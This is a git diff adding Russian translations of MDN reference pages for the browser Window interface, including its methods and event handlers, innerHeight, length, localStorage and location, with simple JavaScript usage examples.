+ <dd>Заставляет мигать иконку приложения.</dd>
+ <dt>{{domxref("Window.getAttentionWithCycleCount()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.getComputedStyle()")}}</dt>
+ <dd>Получает подсчитанные стили для определенного элемента. Подсичтанные стили включают подсчитанные занчения всех CSS свойств элемента.</dd>
+ <dt>{{domxref("Window.getDefaulComputedStyle()")}}</dt>
+ <dd>Получает подсчитанные стили по умолчанию для определенного элемента, игнорируя авторские стили.</dd>
+ <dt>{{domxref("Window.getSelection()")}}</dt>
+ <dd>Возвращает выбранный объект, представляющий выбранный элемент(ы).</dd>
+ <dt>{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Возаращает браузер на домашнюю страницу.</dd>
+ <dt>{{domxref("Window.matchMedia()")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Возвращает объект {{domxref("MediaQueryList")}}, представляющий указанную строку медиа-запроса.</dd>
+ <dt>{{domxref("Window.maximize()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.minimize()")}} (top-level XUL windows only)</dt>
+ <dd>Минимизирует окно.</dd>
+ <dt>{{domxref("Window.moveBy()")}}</dt>
+ <dd>Сдвигает текущее окно на определенное значение.</dd>
+ <dt>{{domxref("Window.moveTo()")}}</dt>
+ <dd>Сдвигает окно до определенных координат.</dd>
+ <dt>{{domxref("Window.mozRequestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Cообщает браузеру, что анимация находится в прогрессе, требуя, чтобы браузер определил время перерисовки окна для следующего анимационного фрейма. Это вызовет событие  <code>MozBeforePaint,</code> прежде чем произойдет перерисовка .</dd>
+ <dt>{{domxref("Window.open()")}}</dt>
+ <dd>Открывает новое окно.</dd>
+ <dt>{{domxref("Window.openDialog()")}}</dt>
+ <dd>Opens a new dialog window.</dd>
+ <dt>{{domxref("Window.postMessage()")}} {{Fx_minversion_inline(3)}}</dt>
+ <dd>Предоставляет безопасный способ для одного окна передать строку с данными в другое окно, которое должно находиться в пределах того же домена, что и первое.</dd>
+ <dt>{{domxref("Window.print()")}}</dt>
+ <dd>Открывет Print Dialog для распечатки текущего документа.</dd>
+ <dt>{{domxref("Window.prompt()")}}</dt>
+ <dd>Возвращает текст, введенный пользователем в диалоге подсказки.</dd>
+ <dt>{{domxref("Window.releaseEvents()")}} {{Deprecated_inline}}</dt>
+ <dd>Возвращает окно с захваченных событий определенного типа.</dd>
+ <dt>{{domxref("element.removeEventListener","Window.removeEventListener()")}}</dt>
+ <dd>Удаляет слушателя события из окна.</dd>
+ <dt>{{domxref("Window.requestIdleCallback()")}}  {{experimental_inline}}</dt>
+ <dd>Позволяет назначить раписание задачь во время периода простоя браузера.</dd>
+ <dt>{{domxref("Window.resizeBy()")}}</dt>
+ <dd>Меняет размер текущего окна на определенное число.</dd>
+ <dt>{{domxref("Window.resizeTo()")}}</dt>
+ <dd>Динамически меняет размер окна.</dd>
+ <dt>{{domxref("Window.restore()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.routeEvent()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.scroll()")}}</dt>
+ <dd>Scrolls the window to a particular place in the document.</dd>
+ <dt>{{domxref("Window.scrollBy()")}}</dt>
+ <dd>Прокручивает документ в окна на данное число.</dd>
+ <dt>{{domxref("Window.scrollByLines()")}}</dt>
+ <dd>Прокурчивает документ на данное число строк.</dd>
+ <dt>{{domxref("Window.scrollByPages()")}}</dt>
+ <dd>Прокурчивает документ на данное число стараниц.</dd>
+ <dt>{{domxref("Window.scrollTo()")}}</dt>
+ <dd>Прокручивает до заданных координат в документе.</dd>
+ <dt>{{domxref("Window.setCursor()")}}</dt>
+ <dd>Меняет курсор для текущего окна.</dd>
+ <dt>{{domxref("Window.setImmediate()")}}</dt>
+ <dd>Исполняет функцию после того, как браузер некую тяжелую задачу.</dd>
+ <dt>{{domxref("WindowTimers.setInterval()")}}</dt>
+ <dd>Назначает выполнение функции каждые X миллисекунд.</dd>
+ <dt>{{domxref("Window.setResizable")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("WindowTimers.setTimeout()")}}</dt>
+ <dd>Устанавливает отложенное выполнение функции.</dd>
+ <dt>{{domxref("Window.showModalDialog()")}} {{Fx_minversion_inline(3)}}</dt>
+ <dd>Отображает модальный диалог.</dd>
+ <dt>{{domxref("Window.sizeToContent()")}}</dt>
+ <dd>Подгоняет размер окна под его содержимое.</dd>
+ <dt>{{domxref("Window.stop()")}}</dt>
+ <dd>Останавливает загрузку страницы.</dd>
+ <dt>{{domxref("Window.updateCommands()")}}</dt>
+ <dd>Обновляет состояние команд текущего окна chrome (UI).</dd>
+ <dt>
+ <h3 id="Методы_реализованные_из_других_мест">Методы, реализованные из других мест</h3>
+ </dt>
+ <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
+ <dd>Регестрирует обработчики опреленного типа событий в окне.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
+ <dd>Декодирует строку данных, которая была закодирована, используя кодировку base-64.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
+ <dd>Создаеь закодированную base-64 ASCII строку из строки бинарных данных.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
+ <dd>Отменяет повторяющееся исполнение, установленного с помощью {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
+ <dd>Отменяет отложенное исполнение, установленного с   {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
+ <dd>Принимает множество различных изображений и возвращает {{domxref("Promise")}}, который возвращает {{domxref("ImageBitmap")}}. Опционально ресурс может быть обрезан до прямоугольника, заданного в пикселях <em>(sx, sy)</em> с шириной sw и высотой sh.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>Начинает процесс загрузки ресурса из сети.</dd>
+ <dt>{{domxref("EventTarget.removeEventListener")}}</dt>
+ <dd>Удаляет слушателя события из окна.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
+ <dd>Устанавливает раписание для исполнения функции каждый раз через заданное число миллисекунд.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
+ <dd>Устанавливает расписание для исполнения функции в назначенное время.</dd>
+</dl>
+
+<h2 id="Обработчики_событий">Обработчики событий</h2>
+
+<p>Это методы объекта window, которые могут устанавливаться для перехвата всех событий, которые могут происходить с объектом window.</p>
+
+<p>Интерфейс наследует обработчики событий от <em>{{domxref("EventTarget")}} </em>интерфейса и реализует обработчики событий <em>{{domxref("WindowEventHandlers")}}.</em></p>
+
+<div class="note">
+<p><strong>Замета:</strong> Начиная с {{Gecko("9.0")}}, вы можете использовать синтаксис <code>if ("onabort" in window),</code> чтобы определить существует ли обработчик данного события. Интерфейсы обработчиков событий были обновлеы таким образом, чтобы соответсовать web IDL интерфейсам. Смотри <a href="/en-US/docs/DOM/DOM_event_handlers">обработчики собыйти DOM</a> для деталей.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dd>Обработчик события для отмены событий в окне.</dd>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Вызывается, когда закрывается диалоговое окно распечатки. Смотри событие {{event("afterprint")}}.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Вызывается, когда открывается диалоговое окно распечатки. Смотри событие {{event("beforeprint")}}.</dd>
+ <dt>{{domxref("Window.onbeforeinstallprompt")}}</dt>
+ <dd>Событие вызывается прежде чем пользователь согласится сохранить сайт на домашний экран на мобильном устройстве.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>Событие вызывается перед удалением события из окна.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>Свойство обработчика событий для исчезновение фокуса на окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>Свойство обработчика событий для изменения в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
+ <dd>Свойство обработчика событий для клика в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>Вызывается, когда был сделан двойной клик ЛЮБОЙ кнопкой мыши.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>Свойство обработчика событий для обработки закрытия окна.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>Свойство обработчика событий для правого клика в окне.</dd>
+ <dt>{{domxref("Window.ondevicelight")}}</dt>
+ <dd>Свойство обработчика событий для отслеживания изменения уровня света.</dd>
+ <dt>{domxref("Window.ondevicemotion")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Вызывается, если было определено изменение акселерометра (для мобильных устройств).</dd>
+ <dt>{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Вызывается, когда была изменена ориентация (для мобильных устройств).</dd>
+ <dt>{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Свойство обработчика событий для смены ориентации любого устройства.</dd>
+ <dt>{{domxref("Window.ondeviceproximity")}}</dt>
+ <dd>Свойство обработчика событий для определения близости устройства.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>Свойство обработчика событий для события {{event("error")}}, возникшего в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>Свойство обработчика событий для события {{event("focus")}} в окне.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}} {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Свойство обработчика событий для отлова изменения хэша в окне; вызывается, когда часть URL после ("#") была изменена.</dd>
+ <dt>{{domxref("Window.onappinstalled")}}</dt>
+ <dd>Вызывается, когда страница установлена, как приложение. Смотри {{event('appinstalled')}} событие.</dd>
+ <dt>{{domxref("Window.oninput")}}</dt>
+ <dd>Вызывается, когда значение элемента &lt;input&gt; было изменено.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>Свойство обработчика событий для события {{event("keydown")}} в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>Свойство обработчика событий для события {{event("keypress")}} в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>Свойство обработчика событий для события {{event("keyup")}} в окне.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}}</dt>
+ <dd>Свойство обработчика событий для события {{event("languagechange")}} в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>Свойство обработчика событий для загрузки окна.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>{{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдет событие {{event("message")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>Свойство обработчика событий для события mousedownв окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>Свойство обработчика событий для события mousemove в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>Свойство обработчика событий для события mouseout в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>Свойство обработчика событий для события mouseover в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>Свойство обработчика событий для события mouseup в окне.</dd>
+ <dt>{{domxref("Window.onmozbeforepaint")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Свойство обработчика событий для события <code>MozBeforePaint</code>, которое присылается прежде чем окно будет перерисовано, если событие необходимо из-за вызова метода {{domxref("Window.mozRequestAnimationFrame()")}}.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Вызывается, когда было потеряно соединение с сетью. Смотри событие {{event("offline")}}.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Вызывается, когда соединение с сетью было установлено. Смотри событие {{event("online")}}.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Свойство обработчика событий для события pageshow в окне.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Свойство обработчика событий для события pagehide в окне.</dd>
+ <dt>{{domxref("Window.onpaint")}}</dt>
+ <dd>Свойство обработчика событий для события paint в окне.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Вызывается, когда была нажата кнопка назад.</dd>
+ <dt>{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}</dt>
+ <dd>Свойство обработчика событий для обработки отказа события {{jsxref("Promise")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>Свойство обработчика событий для события reset в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onresize")}}</dt>
+ <dd>Свойство обработчика событий для изменения размера окна.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>Свойство обработчика событий для прокрутки окна.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onwheel")}}</dt>
+ <dd>Вызывается, когда ыло прокручено колесико мыши в любую сторону.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>Свойство обработчика событий для события выбора в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
+ <dd>{{domxref("EventHandler")}}, представлющий собой код, который будет вызван, когда проихойдет событие {{event("selectionchange")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>Свойство обработчика событий для события submits в окне формы.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt>
+ <dd>Свойство обработчика событий для отвязки обработчика отказа события {{jsxref("Promise")}}.</dd>
+ <dt>{{domxref("Window.onunload")}}</dt>
+ <dd>Свойство обработчика событий для события unload в окне.</dd>
+ <dt>{{domxref("Window.onuserproximity")}}</dt>
+ <dd>Свойство обработчика событий для события изменения близости пользоватя к устройству.</dd>
+ <dt>{{domxref("Window.onvrdisplayconnected")}} {{experimental_inline}}</dt>
+ <dd>Представляет обработчик события, который будет запущен, когда подходящее устройство виртуальной реальности было присоединено к компьютеру (когда запускается событие {{event("vrdisplayconnected")}}).</dd>
+ <dt>{{domxref("Window.onvrdisplaydisconnected")}} {{experimental_inline}}</dt>
+ <dd>Представляет обработчик события, который будет запущен, когда подходящее устройство виртуальной реальности было отсоединено от компьютера (когда запускается событие {{event("vrdisplaydisconnected")}}).</dd>
+ <dt>{{domxref("Window.onvrdisplaypresentchange")}} {{experimental_inline}}</dt>
+ <dd>Представляет обработчик события, который будет запущен, когда изменится состояние устройства виртуальной реальности — т.е. перейдет от  представленного к непредставленному или наоборот (когда будет запущено событие {{event("onvrdisplaypresentchange")}}).</dd>
+</dl>
+
+<h2 id="Конструкторы">Конструкторы</h2>
+
+<p>Смотри так же <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Interfaces</a>.</p>
+
+<dl>
+ <dt>{{domxref("Window.ConstantSourceNode")}}</dt>
+ <dd>Создает экземпляр {{domxref("ConstantSourceNode")}}</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.DOMParser")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.GeckoActiveXObject")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Image")}}</dt>
+ <dd>Создает {{domxref("HTMLImageElement")}}.</dd>
+ <dt>{{domxref("Option")}}</dt>
+ <dd>Создает {{domxref("HTMLOptionElement")}}</dd>
+ <dt>{{domxref("Window.QueryInterface")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.XMLSerializer")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd>Используется для создания  <a href="/en-US/docs/DOM/Using_web_workers">Web worker</a></dd>
+ <dt>{{domxref("Window.XPCNativeWrapper")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.XPCSafeJSObjectWrapper")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+</dl>
+
+<h2 id="Интерфейс">Интерфейс</h2>
+
+<p>Смотри <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Reference</a></p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Working_with_windows_in_chrome_code">Working with windows in chrome code</a></li>
+</ul>
diff --git a/files/ru/web/api/window/innerheight/index.html b/files/ru/web/api/window/innerheight/index.html
new file mode 100644
index 0000000000..5207cf8536
--- /dev/null
+++ b/files/ru/web/api/window/innerheight/index.html
@@ -0,0 +1,88 @@
+---
+title: Window.innerHeight
+slug: Web/API/Window/innerHeight
+tags:
+  - API
+  - NeedsMarkupWork
+  - Property
+  - Reference
+translation_of: Web/API/Window/innerHeight
+---
+<div>Высота (в пикселях) области просмотра окна браузера, включая, если отображается, горизонтальную полосу прокрутки.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>intViewportHeight</var> = window.innerHeight;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>По возвращению, <code>intViewportHeight</code> это высота области просмотра окна браузера.</p>
+
+<p>Свойство <code>window.innerHeight</code> доступно только для чтения; у него нет значения по умолчанию.</p>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Свойство innerHeight поддерживается в любом объекте окна, например {{domxref ("window")}}, фрейме, наборе фреймов или вторичном окне.</p>
+
+<p>Существует алгоритм для получения высоты области просмотра, включая, если отображается, горизонтальную полосу прокрутки.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Assuming_a_frameset">Assuming a frameset</h3>
+
+<pre class="brush:js">var intFrameHeight = window.innerHeight; // or
+
+var intFrameHeight = self.innerHeight;
+// вернет высоту окна просмотра кадра в наборе кадров
+
+var intFramesetHeight = parent.innerHeight;
+// will return the height of the viewport of the closest frameset
+
+var intOuterFramesetHeight = top.innerHeight;
+// will return the height of the viewport of the outermost frameset
+</pre>
+
+<p>{{todo("link to an interactive demo here")}}</p>
+
+<p>To change the size of a window, see {{domxref("window.resizeBy()")}} and {{domxref("window.resizeTo()")}}.</p>
+
+<p>To get the outer height of a window, i.e. the height of the whole browser window, see {{domxref("window.outerHeight")}}.</p>
+
+<h3 id="Графический_пример">Графический пример</h3>
+
+<p>На следующем рисунке показана разница между externalHeight и innerHeight.</p>
+
+<p><img alt="innerHeight vs outerHeight illustration" src="/@api/deki/files/213/=FirefoxInnerVsOuterHeight2.png"></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-window-innerheight', 'window.innerHeight')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.innerHeight")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("window.innerWidth")}}</li>
+ <li>{{domxref("window.outerHeight")}}</li>
+ <li>{{domxref("window.outerWidth")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/length/index.html b/files/ru/web/api/window/length/index.html
new file mode 100644
index 0000000000..541e393563
--- /dev/null
+++ b/files/ru/web/api/window/length/index.html
@@ -0,0 +1,47 @@
+---
+title: Window.length
+slug: Web/API/Window/length
+translation_of: Web/API/Window/length
+---
+<div>{{ ApiRef() }}</div>
+
+<h2 id="Сводка">Сводка</h2>
+
+<p>Возвращает кол-во фреймов (например {{HTMLElement("frame")}} или {{HTMLElement("iframe")}}) в текущем окне.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>framesCount</em> = window.length;
+</pre>
+
+<ul>
+ <li><code>framesCount</code> - кол-во фреймов на странице.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">if (window.length) {
+  // Этот документ содержит фреймы
+}</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','browsers.html#dom-length','Window.length')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-length', 'Window.length')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/window/localstorage/index.html b/files/ru/web/api/window/localstorage/index.html
new file mode 100644
index 0000000000..03282b401f
--- /dev/null
+++ b/files/ru/web/api/window/localstorage/index.html
@@ -0,0 +1,94 @@
+---
+title: Window.localStorage
+slug: Web/API/Window/localStorage
+tags:
+  - API
+  - Property
+  - Read-only
+  - Reference
+  - Storage
+  - Web Storage
+  - Window
+  - WindowLocalStorage
+  - localStorage
+translation_of: Web/API/Window/localStorage
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>Свойство <strong><code>localStorage</code></strong> позволяет получить доступ к {{domxref("Storage")}} объекту. <code>localStorage</code> аналогично свойству <code><a href="/en-US/docs/Web/API/Window.sessionStorage">sessionStorage</a></code>. Разница только в том, что свойство <code>sessionStorage </code>хранит данные в течение сеанса (до закрытия браузера), в отличие от данных,  находящихся в свойстве <code>localStorage</code>, которые не имеют ограничений по времени хранения и могут быть удалены только с помощью JavaScript.</p>
+
+<p>Следует отметить, что данные, сохраннённые как в <code>localStorage</code>, так и в <code>sessionStorage</code>, являтся специфичными для протокола страницы.</p>
+
+<p>Ключи и значения <strong>всегда строки</strong> (так же, как и объекты, целочисленные ключи автоматически будут преобразованы в строки).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js"><em>myStorage</em> = <em>window</em>.localStorage;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Объект {{DOMxRef("Storage")}}, который используется для доступа к текущему локальному хранилищу.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>Запрос к хранилищу нарушает разрешение политик, либо источник для хранения <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#Definition_of_an_origin">не является корректной комбинацией схема/хост/порт</a> (такое может произойти, если источником для хранения является <code>file:</code> или <code>data:</code> схемы, например). Как ещё один пример появления ошибки, пользователь через конфигурацию браузера запретил хранение данных для некоторых источников.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий код показывает пример доступа к локальному объекту {{DOMxRef("Storage")}} для текущего домена и добавляет данные в него с помощью {{DOMxRef("Storage.setItem()")}}.</p>
+
+<pre class="brush: js">localStorage.setItem('myCat', 'Tom');</pre>
+
+<p>Считывать данные из localStorage для определенного ключа, можно следующим образом:</p>
+
+<pre class="brush: js">let cat = localStorage.getItem('myCat');
+</pre>
+
+<p>Удалять данные можно так:</p>
+
+<pre class="brush: js">localStorage.removeItem('myCat'); // вернёт undefined
+</pre>
+
+<p>Для удаления всех записей, то есть полной очистки <code>localStorage</code>, используйте:</p>
+
+<pre class="brush: js">localStorage.clear();</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Пожалуйста, обратитесь к статье <a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a> для более подробных примеров.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webstorage.html#dom-localstorage", "localStorage")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.localStorage")}}</p>
+
+<p>Все браузеры имеют различный уровень объема для <code>localStorage</code> и <code>sessionStorage</code>. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Использование Web Storage API</a></li>
+ <li>Локальное хранилище с <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API/Local_storage">Window.localStorage</a></li>
+ <li><span style="font-size: 1rem; letter-spacing: -0.00278rem;">{{DOMxRef("Window.sessionStorage")}}</span></li>
+</ul>
diff --git a/files/ru/web/api/window/location/index.html b/files/ru/web/api/window/location/index.html
new file mode 100644
index 0000000000..d14951e9d3
--- /dev/null
+++ b/files/ru/web/api/window/location/index.html
@@ -0,0 +1,216 @@
+---
+title: Window.location
+slug: Web/API/Window/location
+tags:
+  - API
+  - HTML DOM
+  - Window
+  - Свойство
+  - Ссылки
+translation_of: Web/API/Window/location
+---
+<p>{{APIRef}}</p>
+
+<p>Свойство только для чтения <strong><code>Window.location</code></strong> возвращает объект {{domxref("Location")}} с информацией о текущем расположении документа.</p>
+
+<p>Хотя <code>Window.location</code> представляет собой объект <em>только для чтения</em> <code>Location</code>, вы можете присвоить ему  {{domxref("DOMString")}}. Это значит что в большинстве случаев вы можете работать с <code>location</code> как со строкой: <code>location = 'http://www.example.com'</code> это синоним для <code>location.href = 'http://www.example.com'</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>oldLocation</em> = location;
+location = <em>newLocation</em>;
+</pre>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<h3 id="Базовый_пример">Базовый пример</h3>
+
+<pre class="brush: js">alert(location); // выведет сообщение "https://developer.mozilla.org/en-US/docs/Web/API/Window.location"</pre>
+
+<h3 id="Пример_№1_Переход_на_новую_страницу">Пример №1: Переход на новую страницу</h3>
+
+<p>Каждый раз, когда объекту location присвоено новое значение, документ будет загружен используя URL как если бы был вызван <code>location.assign()</code> с измененным URL. Отметим, что настройки безопасности, подобные CORS, могут препятствовать этому эффекту.</p>
+
+<pre class="brush: js">location.assign("http://www.mozilla.org"); // или
+location = "http://www.mozilla.org";
+</pre>
+
+<h3 id="Пример_№2_Принудительная_перезагрузка_текущей_страницы_с_сервера">Пример №2: Принудительная перезагрузка текущей страницы с сервера</h3>
+
+<pre class="brush: js">location.reload(true);</pre>
+
+<h3 id="Пример_№3">Пример №3</h3>
+
+<p>Рассмотрим следующий пример, который будет перезагружать страницу используя метод <a href="/en-US/docs/Web/API/Location.replace"><code>replace()</code></a> для вставки значения <code>location.pathname</code> в хэш:</p>
+
+<pre class="brush: js">function reloadPageWithHash() {
+  var initialPage = location.pathname;
+  location.replace('http://example.com/#' + initialPage);
+}
+</pre>
+
+<div class="note"><strong>Примечание:</strong> Пример выше работает в ситуациях, когда нет необходимости сохранять (оставлять) location.hash. Между тем, в Gecko-based браузерах, установка location.pathname таким образом будет очищать любую информацию в location.hash, в то время как в WebKit (и возможно в других браузерах), установка pathname не изменяет hash. Если вам необходимо изменить pathname но сохранить hash как есть, используйте метод replace(), который должен работать одинаково во всех браузерах.</div>
+
+<h3 id="Пример_№4_Отображение_свойств_текущего_URL_в_диалоге_alert">Пример №4: Отображение свойств текущего URL в диалоге alert</h3>
+
+<pre class="brush: js">function showLoc() {
+  var oLocation = location, aLog = ["Property (Typeof): Value", "location (" + (typeof oLocation) + "): " + oLocation ];
+  for (var sProp in oLocation){
+    aLog.push(sProp + " (" + (typeof oLocation[sProp]) + "): " +  (oLocation[sProp] || "n/a"));
+  }
+  alert(aLog.join("\n"));
+}
+
+// в html: &lt;button onclick="showLoc();"&gt;Показать свойства location&lt;/button&gt;
+</pre>
+
+<h3 id="Пример_№5_Отправка_строки_данных_на_сервер_через_изменение_свойства_search">Пример №5: Отправка строки данных на сервер через изменение свойства search</h3>
+
+<pre class="brush: js">function sendData (sData) {
+  location.search = sData;
+}
+
+// в html: &lt;button onclick="sendData('Some data');"&gt;Отправить данные&lt;/button&gt;
+</pre>
+
